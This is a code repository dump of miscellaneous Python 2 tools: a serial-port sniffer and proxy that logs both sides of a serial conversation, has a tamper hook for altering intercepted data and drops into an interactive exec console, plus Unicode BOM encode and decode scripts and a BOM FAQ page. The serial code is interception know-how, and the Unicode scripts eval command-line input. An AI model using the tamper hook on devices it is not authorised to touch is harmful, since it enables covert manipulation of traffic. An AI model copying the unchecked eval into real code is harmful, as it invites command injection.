You dont have Tkinter or any of the Tk stuff...\n\n" 13 | from binascii import hexlify 14 | from cmd import Cmd 15 | import thread 16 | import sys, os, fcntl, time 17 | import serial 18 | import select 19 | import socket 20 | import pprint 21 | import code 22 | 23 | stdin=sys.stdin.fileno() 24 | stdout=sys.stdout.fileno() 25 | stderr=sys.stderr.fileno() 26 | 27 | class ttyProxy: 28 | def __init__(self, dev1, dev2): 29 | self.FILTER=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)]) 30 | self.dev1 = dev1 31 | self.dev2 = dev2 32 | self.tty1 = None 33 | self.tty2 = None 34 | self.tty_fd1 = None 35 | self.tty_fd2 = None 36 | self.log_fname = "serial_Data_"+time.asctime().replace(" ","_")+".log" 37 | self.log_h = open(self.log_fname, 'wb') 38 | 39 | def dump(self, src, length=16): 40 | N=0; result='' 41 | while src: 42 | s,src = src[:length],src[length:] 43 | hexa = ' '.join(["%02X"%ord(x) for x in s]) 44 | s = s.translate(self.FILTER) 45 | result += "%08X: %-*s |%s|\n" % (N, length*3, hexa, s) 46 | N+=length 47 | return result 48 | 49 | def init_device1(self): 50 | """ 51 | Initialize the first serial device and return everthing useful t 52 | parts of 'self'. 53 | """ 54 | self.tty1 = serial.Serial( 55 | port=self.dev1, 56 | parity=serial.PARITY_NONE, 57 | bytesize=serial.EIGHTBITS, 58 | stopbits=serial.STOPBITS_ONE, 59 | timeout=1, 60 | xonxoff=0, 61 | rtscts=0, 62 | dsrdtr=0, 63 | baudrate=115200) 64 | 65 | ## reset them 66 | self.tty1.setRTS(1) 67 | time.sleep(0.01) 68 | 69 | ## send "Data Terminal Ready" 70 | self.tty1.setDTR(1) 71 | self.tty1.flushInput() 72 | 73 | # Do non-blocking I/O 74 | self.tty_fd1 = self.tty1.fileno() 75 | fcntl.fcntl(self.tty_fd1, fcntl.F_SETFL, fcntl.LOCK_NB) 76 | 77 | def init_device2(self): 78 | """ 79 | Initialize the second serial device and retrn everthing useful to 80 | parts of 'self' 81 | """ 82 | self.tty2 = serial.Serial( 83 | port=self.dev2, 84 | parity=serial.PARITY_NONE, 85 | bytesize=serial.EIGHTBITS, 86 | stopbits=serial.STOPBITS_ONE, 87 | timeout=1, 88 | xonxoff=1, #I turned this back on for a *real* analog modem 89 | rtscts=0, 90 | dsrdtr=0, 91 | baudrate=115200) 92 | self.tty2.setRTS(1) 93 | # self.tty2.setDTR(1)#comment this line for *real* modems. 94 | self.tty2.flushInput() 95 | self.tty_fd2 = self.tty2.fileno() 96 | fcntl.fcntl(self.tty_fd2, fcntl.F_SETFL, fcntl.LOCK_NB) 97 | 98 | def go(self): 99 | if self.dev1.lower() not in ("log", "term"): 100 | try: 101 | self._go_snoop() 102 | except KeyboardInterrupt: 103 | print "Closing serial ports.." 104 | if self.tty1 != None: 105 | self.tty1.close() 106 | if self.tty2 != None: 107 | self.tty2.close() 108 | print "Closing Log File." 109 | self.log_h.close() 110 | print "Exiting..." 111 | sys.exit(1) 112 | 113 | elif self.dev1.lower() == "log": 114 | try: 115 | self._go_log() 116 | except KeyboardInterrupt: 117 | print "Closing serial ports.." 118 | if self.tty1 != None: 119 | self.tty1.close() 120 | if self.tty2 != None: 121 | self.tty2.close() 122 | print "Closing Log File." 123 | self.log_h.close() 124 | print "Exiting..." 125 | sys.exit(1) 126 | 127 | elif self.dev1.lower() == "term": 128 | self._go_term() 129 | 130 | def _go_snoop(self): 131 | """ 132 | This function used to handle the passive sniffing between the 133 | devices...but right now it will be used to write both sides of the serial 134 | conversation to the disk, in its entirety in a single LOG. 135 | """ 136 | # open both serial ports 137 | print "Logging from BOTH %s <--> %s" % (self.dev1,self.dev2) 138 | print "Logging from BOTH devices to %s" % self.log_fname 139 | self.log_h.write("Logging from BOTH devices toev1: %s\ndev2: %s\n" % (self.dev1, self.dev2)) 140 | print "Press Ctrl-C to exit..." 141 | 142 | self.init_device1() 143 | self.init_device2() 144 | self.mydev1thr = thread.start_new_thread(self.__device1_listener_thread, ()) 145 | self.mydev2thr = thread.start_new_thread(self.__device2_listener_thread, ()) 146 | # start select loop 147 | while 1: 148 | r,w,e = select.select([self.tty_fd1, self.tty_fd2], [], [], 1000) 149 | 150 | if r == [self.tty_fd1]: 151 | self.chunk = self.tty1.read(8192) #I guess 8192 bytes is our limit here, 152 | #but maybe later this can be a CAN_READ type 153 | #of thing. 154 | print self.dump(self.chunk) 155 | self.intercept_hook() 156 | 157 | elif r == [self.tty_fd2]: 158 | self.chunk = self.tty2.read(8192) 159 | print self.dump(self.chunk) 160 | self.intercept_hook() 161 | 162 | def _go_log(self): 163 | """ 164 | This is the section that handles "logging", like a half functional 165 | minicom, the proxying functionality is handed by _go_snoop(). 166 | """ 167 | # this def is pretty ghetto, its just a copy of _go_snoop() 168 | print "Logging/Displaying Data From %s" % (self.dev2) 169 | print "Logging to file %s" % self.log_fname 170 | self.log_h.write("Single logging of Dev1: %s\n" % (self.dev2)) 171 | print "Press Ctrl-C to exit..." 172 | 173 | self.init_device2() 174 | 175 | # start select loop 176 | while 1: 177 | self.chunk = self.tty2.read(8192) #I guess 8192 bytes is our limit here, 178 | #but maybe later this can be a CAN_READ type 179 | #of thing. 180 | if self.chunk:#This gets rid of printing spaces or newlines even 181 | #when there isnt anything worthy of printing. 182 | print self.dump(self.chunk), 183 | self.intercept_hook() 184 | 185 | def _go_term(self): 186 | """ 187 | The ghetto terminal 188 | """ 189 | print "\nEntering Terminal Mode on Dev1: %s" % (self.dev2) 190 | print "Logging to file %s" % self.log_fname 191 | self.log_h.write("Entering Terminal Mode on Dev1: %s\n" % (self.dev2)) 192 | self.init_device2() 193 | # stdin_h = sys.stdin.fileno() 194 | # fcntl.fcntl(stdin_h, fcntl.F_SETFL, fcntl.LOCK_NB) 195 | self.mydev2thr = thread.start_new_thread(self.__device2_listener_thread, ()) 196 | # self.__device2_listener_thread() 197 | mycmd = code.InteractiveConsole(locals()) 198 | banner = """ 199 | Ok be careful, you have access to the full scope EG: dir(self). 200 | As data comes in, it will be displayed so it may interrupt what you are 201 | writing. 202 | 203 | EXAMPLE: 204 | 205 | To write to the serial port: 206 | >>> self.tty2.write("some data") 207 | 208 | TO IMPORT HELPERS 209 | 210 | >>> dir(); import project_specific.init_verizon_gprs_modem 211 | 212 | CTRL-D to exit. 213 | """ 214 | mycmd.interact(banner) 215 | print "Closing serial ports.." 216 | self.tty2.close() 217 | print "Closing Log File." 218 | self.log_h.close() 219 | print "Exiting..." 220 | sys.exit(1) 221 | 222 | def __device2_listener_thread(self): 223 | """ 224 | This is the sub that listens on the serial device for input. 225 | just a helper function for _go_term() 226 | """ 227 | try: 228 | while 1: 229 | self.chunk = self.tty2.read(8192) #I guess 8192 bytes is our limit here, 230 | #but maybe later this can be a CAN_READ type 231 | #of thing. 232 | print self.dump(self.chunk), 233 | self.intercept_hook() 234 | except select.error: 235 | #do nothing, the thread should just exit 236 | pass 237 | 238 | def __device1_listener_thread(self): 239 | """ 240 | This is the stub that listens on the the other serial device for 241 | input. It is just a helper function. 242 | """ 243 | try: 244 | while 1: 245 | self.chunk = self.tty1.read(8192) #I guess 8192 bytes is our limit here, 246 | #but maybe later this can be a CAN_READ type 247 | #of thing. 248 | print self.dump(self.chunk), 249 | self.intercept_hook() 250 | except select.error: 251 | #do nothing, the thread should just exit 252 | pass 253 | 254 | def _terminal_interactive(self): 255 | mycmd = code.InteractiveConsole(locals()) 256 | mycmd.interact(banner) 257 | 258 | def log_hook(self): 259 | """ log serial data to file """ 260 | self.log_h.write(self.chunk) 261 | self.log_h.flush() 262 | 263 | def tamper_hook(self): 264 | """ change the contents of the data written to the serial port """ 265 | # print """ 266 | # \n\nI know this is ghetto, but edit the 'self.chunk' variable to 267 | # intercept...or 'cont' to continue without editing it." 268 | # """ 269 | #import pdb; pdb.set_trace() 270 | if self.chunk.find(chr(0x5)): 271 | self.chunk = "hi" 272 | 273 | def intercept_hook(self): 274 | """ 275 | Perform some transformations on chunk. 276 | """ 277 | # self.tamper_hook() 278 | self.log_hook() 279 | 280 | class MainWindow(Tk): 281 | """ 282 | This is just a small container class for the main Tk() window 283 | class 284 | """ 285 | def __init__(self): 286 | Tk.__init__(self) 287 | self.title(string="INPUT") 288 | self.tv_frame = tv_frame = Frame(self) 289 | self.tv = tv = Text(tv_frame, name='text', padx=5, wrap='none', 290 | foreground="black", 291 | background="white", 292 | highlightcolor="white", 293 | highlightbackground="purple", 294 | width = 80, 295 | height = 25) 296 | # state = 'disabled') 297 | self.vbar = vbar = Scrollbar(tv_frame, name='vbar') 298 | vbar['command'] = tv.yview 299 | vbar.pack(side=RIGHT, fill=Y) 300 | tv['yscrollcommand'] = vbar.set 301 | fontWeight = 'normal' 302 | clear_button = Button(tv_frame, text="Clear Scrollback", 303 | state="active", command=self.do_thang) 304 | clear_button.pack(side=BOTTOM, fill=X) 305 | #probably should perform tv.config() here 306 | tv_frame.pack(side=LEFT, fill=BOTH, expand=1) 307 | tv.pack(side=TOP, fill=BOTH, expand=1) 308 | tv.focus_set() 309 | self.apply_bindings() 310 | self.stderr = PseudoFile(self) 311 | self.stdout = PseudoFile(self) 312 | self.stdin = PseudoFile(self) 313 | 314 | def oprint(self, text_to_print): 315 | """ 316 | This function will be exposed externally to allow others to 317 | print to our window. 318 | """ 319 | self.tv.insert(END, text_to_print) 320 | 321 | def clear_scrollback(self): 322 | """ 323 | Clear the scrollback of the text window. 324 | """ 325 | self.tv.delete("1.0", END) 326 | 327 | def insert_bytes_from_file(self): 328 | """ 329 | Insert hex escaped bytes from a files on the filesystem. 330 | """ 331 | f_h = askopenfile('r') 332 | disp_buf = "" 333 | if f_h is not None: 334 | self.fhandle = f_h 335 | f_bytes = self.fhandle.read() 336 | print(("%d escaped bytes inserted from file..." % (len(f_bytes)))) 337 | #change this to use slicing 338 | # wrap_count = 0 339 | for byte in f_bytes: 340 | # if wrap_count < 10: 341 | # wrap_count+=1 342 | # elif wrap_count == 10: 343 | # disp_buf+="\\\n\t" 344 | # wrap_count = 0 345 | disp_buf+='\\x'+hexlify(byte) 346 | self.text.insert(END, "\""+disp_buf+"\"") 347 | # print "\""+disp_buf+"\"" 348 | else: 349 | print "Error Opening that File." 350 | 351 | def apply_bindings(self, keydefs=None): 352 | """ 353 | """ 354 | self.bind_all("", self.do_nothing) 355 | pass 356 | 357 | def do_nothing(self, event): 358 | print hexlify(event.char), 359 | 360 | def startcmd(self, *args): 361 | cmd = BaseUI() 362 | cmd.cmdloop() 363 | 364 | def do_thang(self): 365 | self.mythr = thread.start_new_thread(self.startcmd, ()) 366 | 367 | class PseudoFile: 368 | """ 369 | This is used to overload sys.stderr and sys.stdout. 370 | the object reference passed in on "window_obj" must 371 | have an "oprint" method. 372 | """ 373 | def __init__(self, window_obj, encoding=None): 374 | self.encoding = encoding 375 | self.window_obj = window_obj 376 | 377 | def write(self, s): 378 | self.window_obj.oprint(s) 379 | 380 | def writelines(self, l): 381 | map(self.write, l) 382 | 383 | def flush(self): 384 | pass 385 | 386 | def isatty(self): 387 | return True 388 | 389 | 390 | def start_gui(): 391 | rootWindow = MainWindow() 392 | #We overload the normal stdout/stderr to go to our 393 | #output window 394 | global saved_stderr, saved_stdout, saved_stdin 395 | saved_stderr = sys.stderr 396 | saved_stdout = sys.stdout 397 | saved_stdin = sys.stdout 398 | sys.stderr = rootWindow.stderr 399 | sys.stdout = rootWindow.stdout 400 | sys.stdin = rootWindow.stdin 401 | 402 | rootWindow.mainloop() 403 | rootWindow.destroy() 404 | 405 | class BaseUI(Cmd): 406 | path =[] #this is how we fake the "path" of commands. 407 | name = "" 408 | 409 | def __init__(self): 410 | Cmd.__init__(self) 411 | 412 | def make_prompt(self, name=""): 413 | test_str = self.get_prompt() 414 | if test_str.endswith(name+"."): 415 | test_str += ">> " 416 | return(test_str) 417 | #the above is a little hack to test if the path 418 | #is already set for us, incase this object instance 419 | #is actually getting reused under the hood. 420 | self.path.append(name) 421 | tmp_name = "" 422 | tmp_name = self.get_prompt() 423 | tmp_name += ">> " 424 | return(tmp_name) 425 | 426 | def get_prompt(self): 427 | tmp_name = "" 428 | for x in self.path: #iterate through object heirarchy 429 | tmp_name += (x + ".") 430 | return tmp_name 431 | 432 | def do_help(self, args): 433 | """ 434 | Getting help on "help" is kinda silly dont you think? 435 | """ 436 | #The only reason to define this method is for the help text in the 437 | #docstring 438 | Cmd.do_help(self, args) 439 | 440 | def do_hist(self, args): 441 | """ 442 | Display command history. 443 | """ 444 | # n = 0 445 | # for i in self._hist: 446 | # print "%d: %s" % (n, i) 447 | # n+=1 448 | pp = pprint.PrettyPrinter(indent=4) 449 | pp.pprint(self._hist) 450 | 451 | def emptyline(self): 452 | """ 453 | Do nothing on empty input line 454 | """ 455 | pass 456 | 457 | def preloop(self): 458 | """ 459 | Initialization before prompting user for commands. 460 | Despite the claims in the Cmd documentaion, Cmd.preloop() is not a 461 | stub. 462 | """ 463 | Cmd.preloop(self) ## sets up command completion 464 | self._hist = [] ## No history yet 465 | self._locals = {} ## Initialize execution namespace for user 466 | self._globals = {} 467 | 468 | def postloop(self): 469 | """ 470 | Take care of any unfinished business. 471 | Despite the claims in the Cmd documentaion, Cmd.postloop() is not a 472 | stub. 473 | """ 474 | Cmd.postloop(self) ## Clean up command completion 475 | print "Exiting..." 476 | 477 | def precmd(self, line): 478 | """ 479 | This method is called after the line has been input but before 480 | it has been interpreted. If you want to modifdy the input line 481 | before execution (for example, variable substitution) do it here. 482 | 483 | """ 484 | self._hist+=[line.strip()] 485 | return line 486 | 487 | def postcmd(self, stop, line): 488 | """ 489 | If you want to stop the console, return something that evaluates to 490 | true. If you want to do some post command processing, do it here. 491 | 492 | """ 493 | return stop 494 | 495 | def default(self, line): 496 | """ 497 | Called on an input line when the command prefix is not recognized. 498 | In that case we execute the line as Python code. 499 | 500 | """ 501 | try: 502 | exec(line) in self._locals, self._globals 503 | except Exception, e: 504 | #print e.__class__, ":", e 505 | print "\tWhat!? I dont understand: %s'" % (e) 506 | 507 | def do_exit(self, args): 508 | """ 509 | Exits from this tier in the CLI. 510 | If you need to HARD exit, use 'diemfqr'. 511 | """ 512 | return 1 513 | 514 | do_quit = do_exit 515 | 516 | def do_die(self, args): 517 | """ 518 | Hard exit from Proteus. 519 | """ 520 | print("\nHard exiting...") 521 | sys.exit(1) 522 | 523 | if __name__ == "__main__": 524 | argv = sys.argv 525 | 526 | if len(argv) != 3: 527 | usage = """ 528 | 529 | Serial Snoop Usage. 530 | SNOOP mode: 531 | %s 532 | 533 | This has been modified to just be a sniffer for both sides of the 534 | coversation. 535 | 536 | LOG MODE: 537 | %s LOG 538 | 539 | This just logs/displays data coming into the serial port. 540 | Mostly for use with hardware serial taps. 541 | 542 | TERMINAL MODE: 543 | %s TERM 544 | 545 | This mode not only logs but has "interactivity", 546 | via interactive interpreter mode, this gives access so that buffers 547 | can be modified, send() methods called manually, etc etc. 548 | 549 | """ % (sys.argv[0], sys.argv[0], sys.argv[0]) 550 | print usage 551 | exit(1) 552 | if argv[1].lower == "log": 553 | tp = ttyProxy(argv[1], None) 554 | elif len(argv) == 3: 555 | tp = ttyProxy(argv[1], argv[2]) 556 | tp.go() 557 | # start_gui() 558 | # start_cli() 559 | -------------------------------------------------------------------------------- /serial_snoop/test_serial_data.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import sys 3 | import time 4 | global F_H 5 | 6 | if __name__ == "__main__": 7 | argv = sys.argv 8 | if len(argv) != 2: 9 | print "usage: %s serialdev1 " % (sys.argv[0]) 10 | exit(1) 11 | print "Press Ctrl-C to stop sending test data..." 12 | try: 13 | for i in range(0xff): 14 | F_H = open(argv[1],'wb') 15 | F_H.write(chr(i)) 16 | F_H.flush() 17 | F_H.close() 18 | print "Sent: ", repr(chr(i)), 19 | raw_input("Press Enter to send next byte") 20 | 21 | except KeyboardInterrupt: 22 | F_H.close() 23 | sys.exit(1) 24 | -------------------------------------------------------------------------------- /unicode.py/README.md: -------------------------------------------------------------------------------- 1 | UNICODE CODE 2 | ===== 3 | 4 | The following code is used for manipulating and dealing with Unicode 5 | stuff. I cant remember why it was useful only that it was very useful. 6 | It has notes on Unicode BOM "Byte Order Marking" that are also a useful 7 | reference. 8 | 9 | -------------------------------------------------------------------------------- /unicode.py/unicode-bom.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | BOM for Unicode UTF-8, UTF-16, UTF-16LE, UTF-16BE 4 | 5 | 6 | 7 | 8 | 11 | 16 |
9 | Excel,csv,Unicode UTF-8 UTF-16, UTF-16LE, UTF-16BE, BOM,bug tracking and defect tracking 10 |
12 | Home > 13 | Bugzero > FAQs 14 | > KB 15 |
17 | 18 |

Byte Order Mark FAQ (from www.unicode.org)

19 | 20 |

Q: What is a BOM?

21 |

A: A byte order mark (BOM) consists of the character 22 | code U+FEFF at the beginning of a data stream, where it can be used 23 | as a signature defining the byte order and encoding form, primarily of 24 | unmarked plaintext files. Under some higher level protocols, use of 25 | a BOM may be mandatory 26 | (or prohibited) in the Unicode data stream defined in that protocol. 27 |

28 | 29 |

Q: Where is a BOM useful?

30 |

A: A BOM is useful at the beginning of files that are typed as 31 | text, but for which it is not known whether they are in big or little endian format-it 32 | can also serve as a hint indicating that the file is in Unicode, as 33 | opposed to in a legacy encoding and furthermore, it act as a signature 34 | for the specific encoding form used . 35 |

36 | 37 |

Q: What does ‘endian’ mean?

38 |

A: Data types longer than a byte can be stored in computer 39 | memory with the most significant byte (MSB) first or last. The former is 40 | called big-endian, the latter little-endian. When data are exchange in 41 | the same byte order as they were in the memory of the originating 42 | system, they may appear to be in the wrong byte order on the receiving 43 | system. In that situation, a BOM would look like 0xFFFE which is a 44 | noncharacter, allowing the receiving system to apply byte reversal 45 | before processing the data. UTF-8 is byte oriented and therefore does 46 | not have that issue. Nevertheless, an initial BOM might be useful to 47 | identify the datastream as UTF-8. 48 |

49 |

Q: When a BOM is used, is it only in 16-bit Unicode text?

50 |

A: No, a BOM can be used as a signature no matter how the 51 | Unicode text is transformed: UTF-16, UTF-8, UTF-7, etc. The exact bytes 52 | comprising the BOM will be whatever the Unicode character FEFF is 53 | converted into by that transformation format. In that form, the BOM 54 | serves to indicate both that it is a Unicode file, and which of the 55 | formats it is in. Examples:

56 | 57 |
58 |
59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 |
BytesEncoding Form
00 00 FE FFUTF-32, big-endian
FF FE 00 00UTF-32, little-endian
FE FFUTF-16, big-endian
FF FEUTF-16, little-endian
EF BB BFUTF-8
88 |
89 |
90 | 91 |

Q: Can a UTF-8 data stream contain the BOM 92 | character (in UTF-8 form)? If yes, then can I still assume the remaining 93 | UTF-8 bytes are in big-endian order?

94 |

A: Yes, UTF-8 can contain a BOM. However, it makes no 95 | difference as to the endianness of the byte stream. UTF-8 always has the 96 | same byte order. An initial BOM is only used as a signature — an 97 | indication that an otherwise unmarked text file is in UTF-8. Note that 98 | some recipients of UTF-8 encoded data do not expect a BOM. Where UTF-8 99 | is used transparently in 8-bit environments, the use of a BOM 100 | will interfere with any protocol or file format that expects specific 101 | ASCII characters at the beginning, such as the use of "#!" of at the 102 | beginning of Unix shell scripts. 103 | 104 |

Q: What should I do with U+FEFF in the middle of a file?

105 |

A: In the absence of a protocol supporting its use as a BOM and when not at the 106 | beginning of a text stream, U+FEFF should normally not occur. For 107 | backwards compatibility it should be treated as ZERO WIDTH 108 | NON-BREAKING SPACE (ZWNBSP), 109 | and is then part of the content of the file or string. The use of 110 | U+2060 WORD JOINER is strongly preferred over ZWNBSP for expressing word joining 111 | semantics since it cannot be confused with a BOM. When designing a markup 112 | language or data protocol, the use of U+FEFF can be restricted to that 113 | of Byte Order Mark. In that case, any U+FEFF occurring in the middle of 114 | the file can be ignored, or treated as an error. 115 |

116 | 117 |

Q: I am using a protocol that has BOM at 118 | the start of text. How do I represent an initial ZWNBSP?

119 |

A: Use U+2060 WORD JOINER instead.

120 | 121 |

Q: How do I tag data that does not interpret FEFF as a BOM?

122 |

A: Use the tag UTF-16BE to indicate big-endian 123 | UTF-16 text, and UTF-16LE to indicate little-endian UTF-16 124 | text. If you do use a BOM, tag the text as simply UTF-16. 125 |

126 | 127 |

Q: Why wouldn’t I always use a protocol that requires a BOM?

128 |

A: Where the data is typed, such as a field in a database, 129 | a BOM is unnecessary. In particular, if a text data stream is marked as 130 | UTF-16BE, UTF-16LE, UTF-32BE or UTF-32LE, a BOM is neither necessary nor permitted. 131 | Any FEFF would be interpreted as a ZWNBSP.

132 |

Do not tag every string in a database or set of fields with a BOM, 133 | since it wastes space and complicates string concatenation. Moreover, it also means two data fields may have 134 | precisely the same content, but not be binary-equal (where one is 135 | prefaced by a BOM).

136 |

Q: How I should deal with BOMs?

137 |

A: Here are some guidelines to follow:

138 |
    139 |
  1. 140 |

    A particular protocol (e.g. Microsoft conventions for 141 | .txt files) may require use of the BOM on certain Unicode data 142 | streams, such as files. When you need to conform to such a protocol, 143 | use a BOM. 144 |

  2. 145 |

    Some protocols allow optional BOMs in the case of 146 | untagged text. In those cases, 147 |

      148 |
    • 149 |

      Where a text data stream is known to be plain text, but 150 | of unknown encoding, BOM can be used as a signature. If there is no 151 | BOM, the encoding could be anything. 152 |

    • 153 | 154 |

      Where a text data stream is known to be plain Unicode 155 | text (but not which endian), then BOM can be used as a signature. If 156 | there is no BOM, the text should be interpreted as big-endian. 157 |

    158 |
  3. 159 |
  4. 160 |

    Some byte oriented protocols expect ASCII characters at 161 | the beginning of a file. If UTF-8 is used with these protocols, use 162 | of the BOM as encoding form signature should be avoided. 163 |

  5. 164 |

    Where the precise type of the data stream is known (e.g. 165 | Unicode big-endian or Unicode little-endian), the BOM should not be 166 | used. In particular, whenever a data stream is declared to be 167 | UTF-16BE, UTF-16LE, UTF-32BE or UTF-32LE a BOM must not be 168 | used. 169 |

170 | 171 |

>> 172 | May we recommend you a product for tracking software bugs and customer support issues? 173 | try Bugzero! 174 |

-------------------------------------------------------------------------------- /unicode.py/unicode.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | """ 3 | UNICODE.PY 4 | 5 | Encode and decode unicode files. 6 | -d || --decode= : Filename to be uni-decoded 7 | -e || --encode= : Filename to be uni-encoded 8 | -b || --showbom=: Check the encoding of a unicode file 9 | -s || --string-encode=: UTF-16 encode 10 | -r || --string-decode=: Decode a UTF-16 encoded 11 | 12 | --sa7 13 | """ 14 | 15 | import sys 16 | import getopt 17 | import os 18 | from UserDict import UserDict 19 | import string 20 | 21 | class TwoWayHash(UserDict): 22 | def __init__(self, dict): 23 | UserDict.__init__(self,dict) 24 | for (key,val) in self.items(): 25 | self[val] = key 26 | 27 | BOMTable = TwoWayHash( { 28 | "UTF-32 BIG Endian" : "\x00\x00\xFE\xFF", 29 | "UTF-32 LITTLE Endian" : "\xFF\xFE\x00\x00", 30 | "UTF-16 BIG Endian" : "\xFE\xFF", 31 | "UTF-16 LITTLE Endian" : "\xFF\xFE", 32 | "UTF-8" : "\xEF\xBB\xBF" 33 | }) 34 | 35 | def decode_unicode(file): 36 | show_bom(file) 37 | ext_str = '.uni-decoded' 38 | out_file_name = file+ext_str 39 | bytes = [] 40 | bytes_str = "" 41 | i=0 42 | try: 43 | in_file = open(file, "rb") #binary mode. 44 | bytes = in_file.read() 45 | print "\nRead %d bytes from %s " % (len(bytes),file), 46 | out_file = open(out_file_name,"wb") 47 | in_file.close() 48 | except IOError, (errno, strerror): 49 | print "\nYou fucked something up!I/O error(%s): %s" % (errno, strerror), 50 | for a in range(len(bytes)/2): 51 | i=a*2 52 | if i in [0,1]: #skip the first two 53 | continue 54 | tmp = bytes[i:i+2] 55 | bytes_str += unicode(tmp.decode('utf-16').__str__(), 'utf-8') 56 | 57 | try: 58 | out_file.write(bytes_str) 59 | print "\nWrote %d bytes to %s" % ((i/2),out_file_name), 60 | out_file.close() 61 | except IOError, (errno, strerror): 62 | print "\nYou fucked something up!I/O error(%s): %s" % (errno, strerror) 63 | 64 | def encode_unicode(file): 65 | ext_str = '.uni-encoded' 66 | bom_val = "" 67 | out_file_name = file+ext_str 68 | bytes = [] 69 | bytes_str = "" 70 | try: 71 | in_file = open(file, "rb") #binary mode. 72 | bytes = in_file.read() 73 | in_file.close() 74 | print "\nRead %d bytes from %s" % (len(bytes),file), 75 | out_file = open(out_file_name,"wb") 76 | join = str.join #grab the function for ease of use. 77 | bytes_str = join('', bytes) 78 | bytes_str = unicode(bytes_str,'utf-8') #just to be suuuuuure *shifty eyes* 79 | bytes_str = bytes_str.encode('utf-16') #jacked from Kris Kendal 80 | out_file.write(bytes_str) 81 | print "\nWrote %d bytes to %s" % (len(bytes_str),out_file_name), 82 | out_file.close() 83 | except IOError, (errno, strerror): 84 | print "\nYou fucked something up!I/O error(%s): %s" % (errno, strerror), 85 | 86 | def show_bom(file): 87 | try: 88 | in_file = open(file, "rb") #binary mode. 89 | two_bytes = [] 90 | four_bytes = [] 91 | two_bytes = in_file.read(2) 92 | in_file.seek(0) # point file pointer back at the beginning 93 | four_bytes = in_file.read(4) 94 | join = str.join 95 | two_bytes_str = join('', two_bytes) 96 | four_bytes_str = join('', four_bytes) 97 | if four_bytes_str in BOMTable: 98 | encoding = BOMTable[four_bytes_str] 99 | print "\nThat file prolly has \"%s\" encoding" % (encoding) 100 | else: 101 | if four_bytes_str[:3] in BOMTable: 102 | encoding = BOMTable[four_bytes_str[:3]] 103 | print "\nThat file prolly has \"%s\" encoding" % (encoding) 104 | else: 105 | if two_bytes_str in BOMTable: 106 | encoding = BOMTable[two_bytes_str] 107 | print "\nThat file prolly has \"%s\" encoding" % (encoding) 108 | else: 109 | print "\nUnable to determine the UTF encoding of that file. 'You sure its Unicode?" 110 | 111 | except IOError, (errno, strerror): 112 | print "\nYou fucked something up!I/O error(%s): %s" % (errno, strerror), 113 | 114 | def main(): 115 | try: 116 | opts, args = getopt.getopt(sys.argv[1:], "d:e:b:s:r:", ["decode=","encode=","bom=","string-encode=", "string-decode="]) 117 | except getopt.error, msg: 118 | print msg 119 | print __doc__ 120 | sys.exit(2) 121 | # process options 122 | if len(sys.argv) <= 1: 123 | print __doc__ 124 | sys.exit(2) 125 | for o, a in opts: 126 | offset = 0 # is this even necessary!? 127 | if o in ("-e", "--encode"): 128 | encode_unicode(a) 129 | if o in ("-d", "--decode"): 130 | decode_unicode(a) 131 | if o in ("-b", "--bom"): 132 | show_bom(a) 133 | if o in ("-s", "--string-encode"): #jacked from Kris Kendall 134 | buf=eval('"%s"'%(a.replace('"','\\"'),)) 135 | tmp = unicode(buf,'utf-8') 136 | b = tmp.encode('utf-16')[2:] #the "2:" skips over the BOM (Byte order Marking) 137 | hex_tmp = ''.join(["\\x%02X"%ord(x) for x in b]) 138 | print hex_tmp 139 | if o in ("-r", "--string-decode"): #jacked from Kris Kendall 140 | buf=eval('"%s"'%(a.replace('"','\\"'),)) 141 | tmp = unicode(buf,'utf-16') 142 | b = tmp.encode('utf-8') 143 | hex_tmp = ''.join(["\\x%02X"%ord(x) for x in b]) 144 | print hex_tmp 145 | 146 | if __name__ == "__main__": 147 | main() 148 | -------------------------------------------------------------------------------- /unicode.py/unicode.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/unicode.py/unicode.pyc -------------------------------------------------------------------------------- /unicode.py/ununicode.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | """ 3 | UNUNICODE-IZE 4 | 5 | Read in starting at , write to .ununicode skipping every other 6 | character. (which if unicode, will be the nulls) 7 | 8 | -f || --file= : File to be un-unicoded 9 | 10 | OFFSET THING IS BROKE TILL I FIX GETOPT 11 | -o || --offset= : Start bytes into the file 12 | 13 | 14 | --sa7 15 | """ 16 | 17 | import sys 18 | import getopt 19 | import os 20 | 21 | def read_and_write(file, skip): 22 | in_file = open(file, "rb") #binary mode. 23 | out_file_name = file+'.ununicode' 24 | bytes = [] 25 | i = 0 26 | in_file.seek(skip) 27 | bytes = in_file.read() #without a size read() goes to EOF, phat! 28 | count = len(bytes) 29 | print "\nRead %d bytes from %s offset %d " % (count,file,skip) 30 | out_file = open(out_file_name,"wb") 31 | while i < count: 32 | out_file.write(bytes[i]) 33 | i += 2 #skip over nullio cuz I enjoy falafel 34 | print "\nWrote %d bytes to %s" % ((i/2),out_file_name) 35 | in_file.close() 36 | out_file.close() 37 | 38 | def main(): 39 | try: 40 | opts, args = getopt.getopt(sys.argv[1:], "f:o:", ["file=","offset="]) 41 | except getopt.error, msg: 42 | print msg 43 | print __doc__ 44 | sys.exit(2) 45 | # process options 46 | if len(sys.argv) <= 1: 47 | print __doc__ 48 | sys.exit(2) 49 | for o, a in opts: 50 | offset = 0 # is this even necessary!? 51 | if o in ("-o", "--offset"): 52 | offset = a 53 | if o in ("-f", "--file"): 54 | if offset > 0: 55 | read_and_write(a, offset) 56 | else: 57 | read_and_write(a, 2) 58 | 59 | if __name__ == "__main__": 60 | main() 61 | -------------------------------------------------------------------------------- /unicode.py/utf16to8.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import sys 3 | if len(sys.argv) != 2: 4 | print "usage: %s " % sys.argv[0] 5 | sys.exit(0) 6 | 7 | buf=eval('"%s"'%(sys.argv[1].replace('"','\\"'),)) 8 | 9 | a = unicode(buf,'utf-16') 10 | b = a.encode('utf-8') 11 | hexa = ''.join(["\\x%02X"%ord(x) for x in b]) 12 | print hexa 13 | -------------------------------------------------------------------------------- /unicode.py/utf8to16.py: -------------------------------------------------------------------------------- 